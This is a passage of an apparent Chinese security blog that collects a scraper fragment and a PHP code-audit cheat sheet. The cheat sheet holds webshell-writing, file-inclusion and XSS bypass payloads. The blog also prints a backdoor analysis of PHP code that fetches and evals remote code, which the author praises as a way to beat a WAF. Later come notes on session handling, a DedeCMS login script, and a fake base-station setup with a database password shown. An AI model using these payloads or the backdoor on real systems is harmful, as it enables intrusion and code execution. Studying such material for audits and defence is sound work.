    return res_content
#获取结果,url列表
def get_article_list(url = "http://www.zhongkerd.com/news.html" ):
    body_html = requests.get(url,headers = headers).content
    #print body_html
    soup = BeautifulSoup(body_html,'lxml')
    page_div = soup.find_all(name = "a",href = re.compile("content"),class_="w-bloglist-entry-link")
    #print page_div
    list_url = []
    for a in page_div:
        #print a
        #print a.get('href')
        #print a.string
        list_url.append((a.get('href'),a.string))
        #print get_content(a.get('href'))
    else:
        #print list_url
        return list_url
#处理采集页面
def res_content(url):
    content = get_content(url)
    #print content
    info = re.findall(r'<dd>(.*?)</dd>',content,re.S)[0] #去掉dd标签

    re_zhushi = re.compile(r'<!--[^>]*-->') #HTML注释
    re_href = re.compile(r'<\s*a[^>]*>[^<](.*?)*<\s*/\s*a\s*>') #去出超链接,替换
    re_js = re.compile(r'<\s*script[^>]*>[^<](.*?)*<\s*/\s*script\s*>') #去出 javascript
    re_copyright = re.compile(r'<p\s*align="left">(.*?)</p>') #去出 版权信息 #r'<p\s*align="left">' 注意处理换行要

    info = re_zhushi.sub('',info,re.S)
    info = re_href.sub(domain,info,re.S)
    #print content
    #exit()
    info = re_copyright.sub(u"",info,re.S)
    info = info.replace(u'\xa0', u' ') #防止gbk转btf输出错误
    #print info
    return info

#处理结果
def caiji_result():
    article_list = get_article_list()
    #print article_list
    #判断是否数据库中是否有,是否写入数据库
    for article in article_list:
        #print res_check(article)
        #判断是否需要写入
        if not res_check(article):
            #print "no" #u"不存在需要写入"
            res_insert(article)
            #写入后需要发布文章
            body = res_content(article[0])
            send_article(title = article[1],body = body)
        else:
            #print "yes" #u"已经存在不需要写入"
            pass
#爬虫调用函数
def start():
    caiji_result()

__init__.py用于发布模块时用。

写完了、是不是发现和scrapy基础功能有点像呢。。。

PHP代码审计总结//查漏补缺

1.命令注入漏洞审计
system、exec、passthru、反引号、shell_exec、popen、proc_open、pcntl_exec
另类命令执行 echo `whoami`;

//防御函数 escapeshellarg()和escapeshell

2.代码执行漏洞审计
eval、assert、preg_replace(\e模式造成的代码执行漏洞)
命令执行时 @eval($_POST[‘cmd’]) >> /root/shell.php 写入webshell

3.本地包含与远程包含
本地包含
include,include_once,require,require_once
受 gpc 影响本地包含如果后端为.php可以用 %00截断或者?要后面作为参数
http://localhost/test.php?file=hack.txt
http://localhost/test.php?file=hack.txt%00
http://localhost/test.php?file=hack.txt?

远程包含
allow_url_fopen 和 allow_url_include 为 On
http://localhost/test.php?file=http://0535code.com/hack.txt

在 allow_url_include = On 且 PHP <= 5.2.0
http://localhost/test.php?php://input
post提交 <? phpinfo(); ?>

伪协议:php://filter/read=convert.base64-encode/resource=index.php
把读取到的内容用base64解码为源文件代码

4.php变量解析特性
<?
$a = “tag”;
echo ‘$a’;
echo “<br>”;
echo “$a”;
//$a
//tag
// 第二个标签被解析了 ‘不可解析变量 “可以解析变量
//在通过传参拼接代码时有用!!!

5.XSS或SQL注入,参数未过滤
<!– GET –>
<form method=”get” action=”test.php”>
<input name=”test” value=””>
<input type=”submit” value=”GET submit”>
</form>
</div>
<?
echo $_GET[‘test’];
echo htmlspecialchars($_GET[‘test’]);
?>

<!– POST –>
<form method=”post” action=”test.php”>
<input name=”body” value=””>
<input type=”submit” value=”POST submit”>
</form>
</div>

<?php
echo $_POST[“body”];
echo htmlspecialchars($_POST[“body”]);
?>
//宽字节注入需要满足条件 %df%27
//1.设置 set character_set_client = gbk, php链接mysql使用gbk编码
//2.使用 addslashes()函数过滤参数值

6.系统长文件特性解析截断
<?php
$a=NULL;
for($i=0;$i<=4071;$i++) {
$a .= ‘/’;
print $a;
}
$a = test.txt.$a; //完整的路径为/var/www/test/test.txt
//require_once($a..php);
?>
//win下用240个.或./组合的240个字符
//linux下需要2038个/.组合

7.变量覆盖漏洞
register_global=On //开启了全局变量,代码中没有初始化变量
extract($key) //覆盖变量
parse_str(‘key=value’) //覆盖变量
import_requests_variables(‘GP’) //G覆盖GET,P覆盖POST,GP重写GET和POST变量,在PHP4.1-PHP5.4之外的版本需要开启register_gllbals
$a=’key’;$$a=$vaule; //变量覆盖 $_GET[‘a’]($_GET[‘b’]) //动态函数执行

7.is_numeric函数绕过
<?
if (is_numeric($_GET[‘key’])){
echo $_GET[‘key’];
}else{
echo “error!”;
}
//0x3c7363726970743e616c6572742831293c2f7363726970743e
//<script>alert(1)</script>
//16进制可以绕过 is_numeric 检测函数

一个PHP后门的分析过程

<?php
$password='123';
//----------功能程序------------------//
$c="chr";//字符串
session_start();

if(empty($_SESSION['PhpCode'])){
$url.=$c(104).$c(116).$c(116).$c(112).$c(58);
$url.=$c(47).$c(47).$c(104).$c(106).$c(105);
$url.=$c(117).$c(46).$c(108).$c(97).$c(47);
$url.=$c(115).$c(99).$c(120).$c(112).$c(46);
$url.=$c(103).$c(105).$c(102);

//$url = chr(104)chr(116)chr(116)chr(112)chr(58)chr(47)chr(47)chr(104)chr(106)chr(105)chr(117)chr(46)chr(108)chr(97)chr(47)chr(115)chr(99)chr(120)chr(112)chr(46)chr(103)chr(105)chr(102)

//$url = http://hjiu.la/scxp.gif

$get=chr(102).chr(105).chr(108).chr(101).chr(95);
$get.=chr(103).chr(101).chr(116).chr(95).chr(99);
$get.=chr(111).chr(110).chr(116).chr(101).chr(110);
$get.=chr(116).chr(115);

//$get = chr(102)chr(105)chr(108)chr(101)chr(95)chr(103)chr(101)chr(116)chr(95)chr(99)chr(111)chr(110)chr(116)chr(101)chr(110)chr(116)chr(115)

//$get = file_get_contents

echo  $get($url);

$_SESSION['PhpCode']=$get($url);
}

//echo $url;

$unzip=$c(103).$c(122).$c(105).$c(110);
$unzip.=$c(102).$c(108).$c(97).$c(116).$c(101);
//echo $unzip;//die;

//chr(103).chr(122).chr(105).chr(110)chr(102).chr(108).chr(97).chr(116).chr(101)

//$unzip = gzinflate 解码处理
@eval($unzip($_SESSION['PhpCode']));

?>

今晚帮客户分析一个后门程序,分析过程如上,试了下过不了狗,eval直接写肯定就过不了狗,估计改改可以绕过安全狗,真是一个完美的思路,调用远程加密的后门代码绕过WAF。

关于Cookies和Session的有效时间分析

今天突然有一个疑问,Cookies的有效期和Session的有效期通过php是在服务端设置的,如果过期了,客户端访问是不是就不生效了,还是服务端在内存中会销毁Session,客户端取消了Cookies字段呢?如果加上带cookies访问会有什么效果呢?用php实现测试了下,代码如下:
Cookies有效期设置:

<?php
//测试这个cookies有效期会根据客户端访问的时间,决定是不是有这个cookies字段
//这种方式不靠谱,记录cookies字段发包就可以绕过cookies有效期限制了。
setcookie("user", "ly55521", time()+6);
?>
<?
//第一个实例 cookies有效期演示
echo "user----------".$_COOKIE["user"]."----------<br>";
var_dump($_COOKIE);
?>

通过上面打印cookies,可以发现,在客户端设定了cookies,当cookies的字段过期后,在客户端就没有这个cookies字段了,如果加上这个cookies字段去访问,依然可以得到原来的结果,这里是单纯的cookies,如果是单纯的cookies验证肯定不靠谱,可以做欺骗。
Session有效期设置:

<?
session_start();
$id = "ly55521";
$_SESSION['id'] = $id;
setcookie("PHPSESSID_FUNCTION",$_SESSION['id'], time()+6);
?>
<?
echo $_SESSION["id"]."---------".$_SESSION['pw'];
?>

理论上学习的Session是服务端的,经过实际分析,Session可以放在内存中,也可以自定义放到数据库或者文件中,客户端有一个PHPSESSION或者自定义一个cookies字段保持cookies与session的通讯,cookies放的PHPSESSION是服务端的session做效验的,通过抓包分析,SESSION注销时,客户端Cookies中的PHPSESSION标识将过时,因为内存中没有了,设定了有效期也是一样的,如果没有设置会一直生效貌似,或者默认有个有效时间,具体默认多久有效时间就没研究了。

Python模拟登陆dede cms后台遇到的问题

网上好多Python模拟登陆网站的源码,今天捣腾了一天时间,全部用了个遍,无奈没有一个可以直接用的,关键是dede的登陆流程没有分析好,开始发现浏览器cookies的sessonid是一直不变的,不论登陆或注销状态都是一样的,估计在服务端的session对应的每次会记录变化,不会每次在cookies更新session标识,而用python访问生成的cookies,如果程序不结束,一直输出cookies中的sessionid也都是一样的,如果程序关闭了,则访问一次在cookies中的sessionid会变化一次,看到博客园也有人遇到过这问题,最终还是在客户端session标识的问题在纠结,尝试用浏览器登陆后在cookies中取出sessionid,然后用python获取登陆后的页面是正常获取的,在python中用下面代码跟踪cookies,一直是失败。

#获得一个cookieJar实例
cj = cookielib.LWPCookieJar()
#cookieJar作为参数,获得一个opener的实例
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

压根没用过urllib和urllib2这两个库,一直在调试sessionid的问题,最后发现是cookies问题,网上的代码适合直接提交表单,如果没有访问页面直接提交表单的,就不行了,今天一天折腾了这一个问题,像dedecms这种需要先访问页面,然后就会有cookies标识了,和浏览器的操作是同步的就没有问题了。最后用requests库自己写了一个模拟dedecms登陆的小程序,源码如下:

#!/usr/bin/python
#coding:utf8
import requests
login_url = "http://021soft.net/login/login.php"
header = {?? ?"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0",
"Referer"?? ?:"http://021soft.net/md5/login.php"
}
postdata = {
'userid' : 'test',
'pwd'??? : 'test',
'dopost' : 'login'
}
s = requests.session()#带着sessionid访问,保存登陆状态
loadcookies = s.get(login_url,headers = header) #理解为要先打开网页才能提交表单,先给cookies赋值
post_html = s.post(login_url,data = postdata,headers = header)
print post_html.content
#http://021soft.net/md5/content_list.php?channelid=1
get_html = s.get('http://021soft.net/md5/content_list.php?channelid=1',headers = header)
print get_html.content

标红的为解决问题的部分,过程中把dede的登陆模块都去掉了,php打印数据等等,终于找出问题所在了。下面是利用浏览器登陆后取得cookies中的sessionid登陆访问测试代码:

# coding:utf8
import urllib2,cookielib
import re

cj = cookielib.LWPCookieJar()
cookie_support = urllib2.HTTPCookieProcessor(cj)
opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
urllib2.install_opener(opener)
login_url='http://021soft.net/md5/index.php'
headers = {'cookie':"PHPSESSID=4c1a5105cdc543d6dba394c39932cf59;"}
html=urllib2.urlopen(urllib2.Request(url=login_url,headers=headers)).read()
print html

dedecms经过抓包研究,只需要提交三个字段就好了dopost、userid、pwd其他的隐藏域可以不提交,抓包挨个去掉测试,是否影响登陆。

伪基站程序研究

过年回去,朋友有一套伪基站设备,模拟信号发短信的说发不了短信了,需要重装系统,看了下系统是Ubuntu的,看起来像个客户端发短信,仔细看了下其实是一个web端,用shell调用了谷歌浏览器显示的web界面,看起来真的和客户端是一样的。
shell的路径是/var/usr/gsms.sh, /var/usr/目录下有index.php和set.php其中还有两个项目都是Thinkphp做的,在虚拟机搭建了一个,存在一些小问题,没有进一步研究。喝多了。。。不写了,88。
喝多了,睡不着,继续看看。gsms.sh的内容为 chromium-browser –app=http://localhost/,谷歌浏览器调用的本地回环路径访问的。 名称:GSMS 无线电信号爱好者测试软件,/var/usr/目录下的index.php和set.php调用Thinkphp项目的方法。其中gunradio目录为Thinkphp框架文件,2010年的版本了,openbts为项目路径,Config/config.php配置好数据库文件为:

return array(
‘DB_TYPE’=>’mysql’,
‘DB_HOST’=>’127.0.0.1’,
‘DB_NAME’=>’gsms’,
‘DB_USER’=>’root’,
‘DB_PWD’=>’nb250+38’,
‘DB_PORT’=>’3306’,
‘DB_PREFIX’=>’gsm_’,
‘DB_FIELDS_CACHE’=>false,
‘URL_MODEL’=>0
);
看了下类库中的方法与系统交互性很强,而且返回值还进行了base64_decode加解密,喝多了不研究了,找找茂茂大神咨询下。